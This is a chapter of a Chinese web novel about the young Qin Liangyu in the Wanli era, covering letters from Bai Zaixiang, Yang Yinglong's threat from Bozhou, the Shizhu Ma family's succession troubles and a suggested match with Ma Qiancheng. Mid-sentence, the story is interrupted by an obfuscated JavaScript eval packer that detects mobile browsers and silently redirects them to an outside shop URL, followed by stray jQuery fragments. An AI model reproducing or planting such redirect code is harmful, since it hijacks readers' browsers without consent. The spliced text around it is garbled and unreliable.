文趣网 > 其他小说 > 末代风华之白杆兵 > 5. 来客
    万历二十一年春,酉阳方向来了人。

    来人是白邦铭,白再香的叔父,在酉阳宣抚司署做总管。他带了几个随从,驮了两匹骡子的土产,还有白再香写给秦良玉的信。

    秦良玉正在后院练枪,听见前院动静,收枪擦了擦汗。她今年二十岁,眉眼间少了少女的青涩,多了几分沉稳。

    白邦铭递上信,又寒暄了几句冉府近况——再香在署里学规矩、识字,胃口好了不少,脸上也有肉了。

    秦良玉拆开信。笔迹还稚嫩,但比她想象中工整。信里说署里管得严,每日卯时起课,学女红也学识字,先生是个老儒生,脾气不好但教得认真。末尾问忠州的槐树是不是又该开花了。

    席间,秦葵问起酉阳近况。

    白邦铭提起播州杨氏,话头顿了顿:"杨家那位土司……近来行事愈发没了章法。"

    秦葵放下筷子。

    播州宣慰使杨应龙,这不是什么新鲜事。万历十八年起朝中就有人参他野心勃勃,只是朝廷顾不上西南。

    白邦铭道:"冉公近来加紧操练土兵。他说若播州真出了事,川东几处土司都要卷进去。"他顿了一下,"冉公与石柱马家是世交。"

    秦良玉听见"马家"二字,心里微微一动。石柱马家,宣抚使一脉,她听父亲提过几回。

    白邦铭在忠州住了一夜,次日启程。秦良玉送到城外,递上一个包袱,里面是回信和一包柑橘干。

    "告诉她好好学。"

    白邦铭翻身上马,走出几步又勒住缰绳回头:"秦姑娘,再香那孩子嘴硬,有啥事不爱说。往后信里若有什么不对,还请多费心。"

    铃铛声渐渐远了。

    入夏,白再香来了第二封信。

    字迹比春天那封好了些,信纸上有几处涂抹。信里说酉阳今年雨水多,院子里橘子树结了果子,她每天去数,看有没有被鸟啄了。又说先生夸她字有进步,但算术还是差,加法都要掰手指头。

    秦良玉回了信,末尾写了句"橘子酸的多,别急着摘"。

    白再香的信每月一封,秦良玉每信必回。到入秋时,再香的信已经从歪歪扭扭变得端正工整了。有一封信里画了个小人举着竹竿扎马步,旁边歪歪扭扭写了个"疼"字。秦良玉看了好笑,回信画了张扎马步的图,标注了哪里该使劲哪里该松。

    她把再香寄来的信一封封收进匣子里。从第一封到现在,那孩子的变化都在纸上。

    也是入秋,秦葵的老友刘庚从重庆府来了。

    刘庚是秦葵当年在兵部的旧识,如今在重庆府做通判,管粮运和赋税。两人多年没见,秦葵留他住了两日。

    头天晚上喝酒,刘庚说起朝廷对四川的新规矩。

    "兵部下了文,要川东各土司两年内清缴历年欠赋,按丁口重新造册。"他夹了块腊肉,"说白了,朝廷在朝鲜打仗银子流水般往外淌,现在到处找钱补窟窿。"

    去年朝廷调大军入朝鲜抗日,兵部催各省输粮输饷,四川也没能免。重庆府的差役已经下了三道牌,忠州虽小,也摊了八百两。

    "播州那边呢?"秦葵问。

    "杨应龙欠的赋税最多,六年没交一文钱。朝廷拿他没办法,又不敢动他。"刘庚放下筷子,"清缴令下来,他要么交钱,要么反。我看他多半选后者。"

    秦葵没有接话。

    刘庚又说了些省城的事——今年秋粮又加了三成,百姓叫苦连天;贵州有几个小土司已经被杨应龙吞了,朝廷只下了道申斥的文书,再无下文。

    "还有一桩。"刘庚喝了口酒,"石柱马家的事,秦兄听说了没有?"

    "哪桩?"

    "马斗斛开矿的案子。"刘庚放下酒杯,"前年马斗斛在石柱开矿,矿没开出什么名堂,反倒被谭彦相那帮人构陷,说他毁山开矿、与朝廷争利。四川按察使报请朝廷御批,马斗斛免职发配辽东,长子马千乘也株连入狱。"

    秦葵皱了皱眉:"马家在石柱经营多少代了,开个矿也能被做文章?"

    "不是矿的事。"刘庚压低声音,"是马家内斗。马斗斛的继室覃氏偏爱自己的亲儿子马千驷,想让他承袭宣抚使。马斗斛一倒,覃氏就活动开了,还拉上了播州杨应龙做靠山。有杨应龙撑腰,马千驷一个小娃娃就坐上了宣抚使的位子,由覃氏代行职权。"

    秦良玉坐在旁边听,手里拨

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642562|206725||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着茶盏。

    "杨应龙插手石柱的事?"秦葵目光一凝。

    "可不是。杨应龙想往东扩,石柱正好挡在道上。让马千驷坐那个位子,石柱就等于半个播州了。"刘庚摇头,"不过朝廷也不是瞎子。今年开了恩,马千乘放出来,承袭了石柱宣抚使。条件是追缴他父亲开矿所得十万两银子,限期三个月完纳,否则取消世袭。"

    "十万两?"秦葵吃了一惊,"石柱那种地方,三个月上哪凑十万两?"

    "凑不凑得出来是马千乘的事。"刘庚端起酒杯,"不过此人出了狱,不声不响回石柱整顿军务,连覃氏和马千驷也没动,先稳住了局面。才二十出头,经历这一遭,比从前沉稳多了。"

    秦葵点了点头,没多说。

    第二天,刘庚在校场边上看秦良玉教乡勇练枪,站了半晌。

    回屋后端起茶碗,像是随口说了句:"秦兄,良玉今年二十了吧?"

    "二十了。"

    "马千乘今年也二十出头。"刘庚喝了口茶,"此人在狱中待了几年,出来后不声不响整顿石柱军务,有几分气量。两家若能结亲,忠州和石柱也就更近了。"

    秦葵的手顿了一下。

    "秦兄莫怪我多嘴。良玉这孩子,寻常人家怕是配不上。"

    秦葵沉吟良久,只说了句:"容我想想。"

    刘庚也不追问,次日便走了。

    秦葵没有立刻跟秦良玉提这事。

    只是那天傍晚站在校场边上,看女儿教枪时多看了几眼。

    秦良玉收了枪走过来,发现父亲的眼神跟平时不太一样。

    "爹?"

    "没什么。"秦葵收回目光,"民屏的乡勇练得怎么样了?"

    "还行,新兵多了,队列还乱。"

    秦葵点了点头,背着手走了。

    秦良玉望着他的背影,总觉得父亲有话没说。她也懒得猜,转身继续练枪。

    夜里,秦葵在书房摊开舆图,把川东各处土司的驻防位置一一标注。忠州、酉阳、石柱、播州,四个名字被他用朱笔圈了又圈。

    秦良玉路过书房,看见窗纸上映着灯影,没有进去。